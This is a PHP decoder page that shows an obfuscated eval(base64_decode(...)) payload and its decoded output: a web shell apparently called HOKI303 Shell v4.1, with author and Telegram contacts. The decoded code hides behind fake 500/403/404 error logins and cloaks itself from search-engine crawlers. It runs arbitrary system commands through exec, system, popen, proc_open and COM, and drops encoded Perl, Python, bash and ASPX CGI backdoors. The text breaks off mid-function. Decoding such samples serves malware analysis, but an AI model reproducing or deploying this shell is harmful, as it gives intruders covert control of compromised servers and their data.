Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eVAL(base64_decode('LyoKCUF1dGhvcjogCUtpc2VyeW91bmkvSG9raTMwMwoJVGVsZWdyYW06IAlodHRw..
Decoded Output download
/*
Author: Kiseryouni/Hoki303
Telegram: https://t.me/kiseryouni
Gmail: [email protected]
Date: Monday, June 03, 2024
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => '0xNix',
'password' => 'eedd4eb54b1228b61e575d2004c22463',//md5(default : hekermaklo)
'safe_mode' => '1',
'login_page' => '500',
'show_icons' => '1',
'post_encryption' => true,
'cgi_api' => true,
);
$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';
if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
function vcnvSCZgBz($data)
{
if (empty($data)) return;
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data)
{
return $data;
}
do
{
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
}
while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = (strlen($data) % 3);
return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
}
else
{
function vcnvSCZgBz($s)
{
$b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
return $b($s);
}
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
function zRtSHsbTzV($input)
{
if (empty($input)) return;
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do
{
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int)$chr1);
if ($enc3 != 64)
{
$output = $output . chr((int)$chr2);
}
if ($enc4 != 64)
{
$output = $output . chr((int)$chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
}
while ($i < strlen($input));
return $output;
}
}
else
{
function zRtSHsbTzV($s)
{
$b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
return $b($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
$prefix = substr($key, 0, 2);
if ($prefix == "us")
{
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
}
elseif ($prefix == "pa")
{
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
}
elseif ($prefix == "sa")
{
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
}
elseif ($prefix == "lo")
{
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
}
elseif ($prefix == "sh")
{
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
}
elseif ($prefix == "po")
{
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
}
elseif ($prefix == "cg")
{
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) exit();
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__HOKI_VERSION__", "4.1");
define("__HOKI_UPDATE__", "2");
define("__HOKI_CODE_NAME__", "Kiseryouni");
define("__HOKI_DATA_FOLDER__", "HOKI_DATA");
define("__HOKI_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__HOKI_SECRET_KEY__", __HOKI_POST_ENCRYPTION__?_HokiSecretKey():'');
$GLOBALS['__HOKI_COLOR__'] = array(
"shell_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
)
),
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
)
),
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
)
),
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
)
),
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
)
),
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"options_list" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
".content_options_holder .header center a" => "color: {color};",
)
),
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".content_options_holder .header center a:hover" => "color: {color};",
)
),
"options_list_header" => array(
"key_color" => "#59cc33",
"multi_selector" => array(
".txtfont_header" => "color: {color};",
)
),
"options_list_text" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
)
),
"Hoki+" => array(
"key_color" => "#06ff0f",
"multi_selector" => array(
".hoki_plus" => "color: {color};font-weight: unset;",
)
),
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
)
),
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
)
),
"main_header" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main th" => "color: {color};",
)
),
"main_name" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
)
),
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_white_perm" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .actions" => "color: {color};",
)
),
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
)
),
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"multi_selector" => array(
".minimized-text" => "color: {color};",
)
),
"editor_border" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
),
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
)
),
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
".editor-header" => "background-color: {color};",
)
),
"editor_header_text" => array(
"key_color" => "#00ff7f",
"multi_selector" => array(
".editor-path" => "color: {color};",
)
),
"editor_header_button" => array(
"key_color" => "#1d5673",
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
)
),
"editor_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_actions" => "color: {color};",
)
),
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
)
),
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".filestools" => "color: {color};",
)
),
"editor_history_header" => array(
"key_color" => "#14ff07",
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
)
),
"editor_history_list" => array(
"key_color" => "#03b3a3",
"multi_selector" => array(
".editor-file-name" => "color: {color};",
)
),
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
".is_active" => "background-color: {color};",
)
),
"editor_history_file:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
)
),
"input_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
)
),
"input_box_text" => array(
"key_color" => "#999999",
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
)
),
"input_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"select_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"select" => "border: 1px solid {color}",
)
),
"select_box_text" => array(
"key_color" => "#FFFFEE",
"multi_selector" => array(
"select" => "color: {color};",
)
),
"select_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"button_border" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
),
"button:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"outputs_text" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".ml1" => "color: {color};",
)
),
"outputs_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
)
),
"uploader_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_background" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
)
),
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".inputfile strong" => "color: {color};",
)
),
"uploader_text_left" => array(
"key_color" => "#25ff00",
"multi_selector" => array(
".inputfile span" => "color: {color};",
)
),
"uploader:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_progress_bar" => array(
"key_color" => "#00ff00",
"multi_selector" => array(
".up_bar" => "background-color: {color};",
)
),
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"copyright" => "#dfff00",
"scrollbar" => array(
"key_color" => "#1e82b5",
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
),
"scrollbar_background" => array(
"key_color" => "#000115",
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
),
);
$GLOBALS['__file_path'] = str_replace('\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('HokiUser' => $GLOBALS['DB_NAME']['user'],'HokiPass' => $GLOBALS['DB_NAME']['pass'],'HokiProtectShell' => $GLOBALS['DB_NAME']['safemode'],'HokiLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['HokiProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['HokiLoginPage'] == 'gui'){
if(@$_COOKIE["HokiUser"] != $config['HokiUser'] && $_COOKIE["HokiPass"] != md5($config['HokiPass'])){
if(@$_POST["usrname"]==$config['HokiUser'] && @md5($_POST["password"])==$config['HokiPass']){
__hoki_set_cookie("HokiUser", $config['HokiUser']);
__hoki_set_cookie("HokiPass", @md5($config['HokiPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ HOKI303 Shell-v'.__HOKI_VERSION__.'-'.__HOKI_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="300" height="170" alt="Hoki303 Gang" draggable="false" src="https://i.ibb.co.com/Gsv3MNG/logo.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ HOKI303 Shell-v'.__HOKI_VERSION__.'-'.__HOKI_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1> </font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['HokiLoginPage']=='500'){
if(@$_COOKIE["HokiPass"] != @md5($config['HokiPass'])){
if(@md5($_POST["password"])==$config['HokiPass']){
__hoki_set_cookie("HokiUser", $config['HokiUser']);
__hoki_set_cookie("HokiPass", @md5($config['HokiPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['HokiLoginPage']=='403'){
if(@$_COOKIE["HokiPass"] != @md5($config['HokiPass'])){
if(@md5($_POST["password"])==$config['HokiPass']){
__hoki_set_cookie("HokiUser", $config['HokiUser']);
__hoki_set_cookie("HokiPass", @md5($config['HokiPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['HokiLoginPage']=='404'){
if(@$_COOKIE["HokiPass"] != @md5($config['HokiPass'])){
if(@md5($_POST["password"])==$config['HokiPass']){
__hoki_set_cookie("HokiUser", $config['HokiUser']);
__hoki_set_cookie("HokiPass", @md5($config['HokiPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
if(__HOKI_POST_ENCRYPTION__){
$pwd = __HOKI_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str))
break;
}
}
return __ZGVjb2Rlcg($enc_str);
}else{
return __ZGVjb2Rlcg($str);
}
}
function _HokiSecretKey(){
$secret = @$_COOKIE["HokiSecretKey"];
if(!isset($_COOKIE["HokiSecretKey"])){
$secret = uniqid(mt_rand(), true);
__hoki_set_cookie("HokiSecretKey", $secret);
}
return $secret;
}
function hoki_getColor($target){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
return $GLOBALS["DB_NAME"]["color"][$target];
}else{
$target = $GLOBALS["__HOKI_COLOR__"][$target];
if(is_array($target)){
return $target["key_color"];
}else{
return $target;
}
}
}
function hokiCssLoadColors(){
$css = "";
foreach($GLOBALS['__HOKI_COLOR__'] as $key => $value){
if(!is_array($value)){
$value = hoki_getColor($key);
$css .= ".{$key}{color: {$value};}";
}else{
if(isset($value["multi_selector"])){
foreach($value["multi_selector"] as $k => $v){
$color = hoki_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k."{".$code."}";
}
}
}
}
return $css;
}
if(isset($_POST['ajax'])){
function HokiNum(){
$args = func_get_args();
$hokix = array();
$find = array();
for($i=1;$i<=10;$i++){
$hokix[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($hokix as $hoki){
if(in_array($hoki,$find))
continue;
echo 'hoki'.$hoki."_=";
}
echo '""</script>';
}}
function _hoki_cgicmd($cmd,$lang="perl",$set_cookie=false){
if(!$GLOBALS["DB_NAME"]["cgi_api"]){
return "";
}
if(isset($_COOKIE["hokicgiapi_mode"])){
return "";
}
$cmd_pure = $cmd;
$is_curl = function_exists('curl_version');
$is_socket = function_exists('fsockopen');
if($is_curl||$is_socket){
$recreate = false;
if(isset($_COOKIE["hokicgiapi"])){
if(!@file_exists("hokicgiapi/".$_COOKIE["hokicgiapi"].".hoki")){
$recreate = true;
$lang = $_COOKIE["hokicgiapi"];
}
}
if(!isset($_COOKIE["hokicgiapi"])||$recreate){
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
if($lang == "aspx"){
hokiWriteTocgiapi("aspx.aspx",$aspx);
}else{
hokiWriteTocgiapi($lang.".hoki",$source);
}
hokicgihtaccess('cgi', "hokicgiapi/");
}else{
$lang = $_COOKIE["hokicgiapi"];
}
$cgi_ext = ".hoki";
if($lang=="aspx"){$cgi_ext = ".aspx";
}
$cgi_url = __HOKI_DATA_FOLDER__."/hokicgiapi/".$lang.$cgi_ext;
$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
if($is_curl){
$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$post = new HokiCURL();
$data = $post->Send($address, "post", $cmd);
}elseif($is_socket){
$server = $_SERVER["SERVER_NAME"];
$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
$data = _hoki_fsockopen($server,$uri,$cmd);
}
$out = "";
if(strpos($data, "[kiseryouni~api]") !== false && strpos($data, '[kiseryouni~api]<pre>"+output+"</pre>') === false){
if($set_cookie){
__hoki_set_cookie("hokicgiapi", $lang);
}
if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
$out = $res[1];
}
}elseif($lang=="perl"){
return _hoki_cgicmd($cmd_pure,"py",$set_cookie);
}elseif($lang=="py"){
return _hoki_cgicmd($cmd_pure,"bash",$set_cookie);
}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
return _hoki_cgicmd($cmd_pure,"aspx",$set_cookie);
}else{
if($set_cookie){
__hoki_set_cookie("hokicgiapi_mode", "off");
}
}
return trim($out);
}else{
return "";
}
}
function hokiGetCwd(){
if(function_exists("getcwd")){
return @getcwd();
}else{
return dirname($_SERVER["SCRIPT_FILENAME"]);
}
}
function hokiEx($in,$re=false,$cgi=true,$all=false){
$data = _hoki_php_cmd($in,$re);
if(empty($data)&&$cgi||$all){
if($GLOBALS['sys']=='unix'){
if(strlen(_hoki_php_cmd("whoami"))==0||$all){
$cmd = _hoki_cgicmd($in);
if(!empty($cmd)){
return $cmd;
}
}
}
}
return $data;
}
function _hoki_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$hokiWs = new COM('WScript.shell');
$exec = $hokiWs->exec('cmd.exe /c '.$_POST['hoki1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _hoki_fsockopen($server,$uri,$post){
$socket = @fsockopen($server, 80, $errno, $errstr, 15);
if($socket){
$http = "POST {$uri} HTTP/1.0
";
$http .= "Host: {$server}
";
$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "
";
$http .= "Content-Type: application/x-www-form-urlencoded
";
$http .= "Content-length: " . strlen($post) . "
";
$http .= "Connection: close
";
$http .= $post . "
";
fwrite($socket, $http);
$contents = "";
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode("
", $contents, 2);
@fclose($socket);
return $body;
}else{
return "";
}
}
if(isset($_GET["kiseryouni"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Kiseryouni Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
